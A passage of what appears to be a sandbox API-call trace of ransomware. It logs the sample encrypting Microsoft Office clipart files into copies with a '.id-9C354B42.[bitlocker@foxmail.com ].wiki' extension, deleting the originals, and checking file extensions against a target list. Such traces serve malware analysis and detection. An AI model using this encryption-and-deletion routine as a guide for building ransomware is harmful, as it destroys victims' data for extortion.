SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.000] GetLastError () returned 0x0 [0188.000] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xbb4, lpOverlapped=0x0) returned 1 [0188.009] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0188.010] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.010] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.010] SetEndOfFile (hFile=0x1f4) returned 1 [0188.010] CloseHandle (hObject=0x1f4) returned 1 [0188.011] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.011] SetEndOfFile (hFile=0x1d0) returned 1 [0188.011] CloseHandle (hObject=0x1d0) returned 1 [0188.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0188.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0188.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0188.012] lstrlenW (lpString=".doc") returned 4 [0188.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.012] lstrlenW (lpString=".docx") returned 5 [0188.012] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.012] lstrlenW (lpString=".pdf") returned 4 [0188.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.012] lstrlenW (lpString=".xls") returned 4 [0188.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.012] lstrlenW (lpString=".xlsx") returned 5 [0188.012] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.012] lstrlenW (lpString=".ppt") returned 4 [0188.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0188.012] lstrlenW (lpString=".zip") returned 4 [0188.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.012] lstrlenW (lpString=".rar") returned 4 [0188.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.012] lstrlenW (lpString=".bz2") returned 4 [0188.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.012] lstrlenW (lpString=".7z") returned 3 [0188.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0188.012] lstrlenW (lpString=".dbf") returned 4 [0188.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0188.012] lstrlenW (lpString=".1cd") returned 4 [0188.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0188.013] lstrlenW (lpString=".jpg") returned 4 [0188.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0188.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0188.013] lstrlenW (lpString=".doc") returned 4 [0188.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.013] lstrlenW (lpString=".docx") returned 5 [0188.013] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.013] lstrlenW (lpString=".pdf") returned 4 [0188.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.013] lstrlenW (lpString=".xls") returned 4 [0188.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.013] lstrlenW (lpString=".xlsx") returned 5 [0188.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.013] lstrlenW (lpString=".ppt") returned 4 [0188.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0188.013] lstrlenW (lpString=".zip") returned 4 [0188.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.013] lstrlenW (lpString=".rar") returned 4 [0188.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.013] lstrlenW (lpString=".bz2") returned 4 [0188.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.013] lstrlenW (lpString=".7z") returned 3 [0188.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0188.013] lstrlenW (lpString=".dbf") returned 4 [0188.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0188.013] lstrlenW (lpString=".1cd") returned 4 [0188.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0188.014] lstrlenW (lpString=".jpg") returned 4 [0188.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.014] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.014] lstrlenW (lpString="DD01186_.WMF") returned 12 [0188.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.014] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=8564) returned 1 [0188.014] CloseHandle (hObject=0x1d0) returned 1 [0188.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x20 [0188.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.015] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.015] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.015] GetLastError () returned 0x0 [0188.015] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x2174, lpOverlapped=0x0) returned 1 [0188.023] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x2180, lpOverlapped=0x0) returned 1 [0188.024] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.024] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.024] SetEndOfFile (hFile=0x1f4) returned 1 [0188.024] CloseHandle (hObject=0x1f4) returned 1 [0188.024] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.024] SetEndOfFile (hFile=0x1d0) returned 1 [0188.025] CloseHandle (hObject=0x1d0) returned 1 [0188.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0188.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0188.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0188.025] lstrlenW (lpString=".doc") returned 4 [0188.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.025] lstrlenW (lpString=".docx") returned 5 [0188.025] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.025] lstrlenW (lpString=".pdf") returned 4 [0188.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.025] lstrlenW (lpString=".xls") returned 4 [0188.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.026] lstrlenW (lpString=".xlsx") returned 5 [0188.026] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.026] lstrlenW (lpString=".ppt") returned 4 [0188.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0188.026] lstrlenW (lpString=".zip") returned 4 [0188.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.026] lstrlenW (lpString=".rar") returned 4 [0188.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.026] lstrlenW (lpString=".bz2") returned 4 [0188.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.026] lstrlenW (lpString=".7z") returned 3 [0188.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0188.026] lstrlenW (lpString=".dbf") returned 4 [0188.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0188.026] lstrlenW (lpString=".1cd") returned 4 [0188.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0188.026] lstrlenW (lpString=".jpg") returned 4 [0188.026] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0188.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0188.026] lstrlenW (lpString=".doc") returned 4 [0188.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.026] lstrlenW (lpString=".docx") returned 5 [0188.026] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.026] lstrlenW (lpString=".pdf") returned 4 [0188.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.026] lstrlenW (lpString=".xls") returned 4 [0188.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.027] lstrlenW (lpString=".xlsx") returned 5 [0188.027] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.027] lstrlenW (lpString=".ppt") returned 4 [0188.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0188.027] lstrlenW (lpString=".zip") returned 4 [0188.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.027] lstrlenW (lpString=".rar") returned 4 [0188.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.027] lstrlenW (lpString=".bz2") returned 4 [0188.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.027] lstrlenW (lpString=".7z") returned 3 [0188.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0188.027] lstrlenW (lpString=".dbf") returned 4 [0188.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0188.027] lstrlenW (lpString=".1cd") returned 4 [0188.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0188.027] lstrlenW (lpString=".jpg") returned 4 [0188.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.027] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.027] lstrlenW (lpString="DD01434_.WMF") returned 12 [0188.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.028] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=900) returned 1 [0188.028] CloseHandle (hObject=0x1d0) returned 1 [0188.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x20 [0188.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.028] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.028] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.029] GetLastError () returned 0x0 [0188.029] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x384, lpOverlapped=0x0) returned 1 [0188.030] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x390, lpOverlapped=0x0) returned 1 [0188.031] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.031] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.031] SetEndOfFile (hFile=0x1f4) returned 1 [0188.031] CloseHandle (hObject=0x1f4) returned 1 [0188.032] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.032] SetEndOfFile (hFile=0x1d0) returned 1 [0188.032] CloseHandle (hObject=0x1d0) returned 1 [0188.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0188.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0188.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0188.033] lstrlenW (lpString=".doc") returned 4 [0188.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.033] lstrlenW (lpString=".docx") returned 5 [0188.033] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.033] lstrlenW (lpString=".pdf") returned 4 [0188.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.033] lstrlenW (lpString=".xls") returned 4 [0188.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.033] lstrlenW (lpString=".xlsx") returned 5 [0188.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.033] lstrlenW (lpString=".ppt") returned 4 [0188.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0188.033] lstrlenW (lpString=".zip") returned 4 [0188.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.033] lstrlenW (lpString=".rar") returned 4 [0188.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.033] lstrlenW (lpString=".bz2") returned 4 [0188.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.033] lstrlenW (lpString=".7z") returned 3 [0188.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0188.033] lstrlenW (lpString=".dbf") returned 4 [0188.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0188.034] lstrlenW (lpString=".1cd") returned 4 [0188.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0188.034] lstrlenW (lpString=".jpg") returned 4 [0188.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0188.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0188.034] lstrlenW (lpString=".doc") returned 4 [0188.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.034] lstrlenW (lpString=".docx") returned 5 [0188.034] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.034] lstrlenW (lpString=".pdf") returned 4 [0188.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.034] lstrlenW (lpString=".xls") returned 4 [0188.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.034] lstrlenW (lpString=".xlsx") returned 5 [0188.034] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.034] lstrlenW (lpString=".ppt") returned 4 [0188.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0188.034] lstrlenW (lpString=".zip") returned 4 [0188.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.034] lstrlenW (lpString=".rar") returned 4 [0188.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.034] lstrlenW (lpString=".bz2") returned 4 [0188.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.034] lstrlenW (lpString=".7z") returned 3 [0188.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0188.035] lstrlenW (lpString=".dbf") returned 4 [0188.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0188.035] lstrlenW (lpString=".1cd") returned 4 [0188.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0188.035] lstrlenW (lpString=".jpg") returned 4 [0188.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.035] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.035] lstrlenW (lpString="DD01585_.WMF") returned 12 [0188.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.035] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2524) returned 1 [0188.036] CloseHandle (hObject=0x1d0) returned 1 [0188.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x20 [0188.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.036] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.036] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 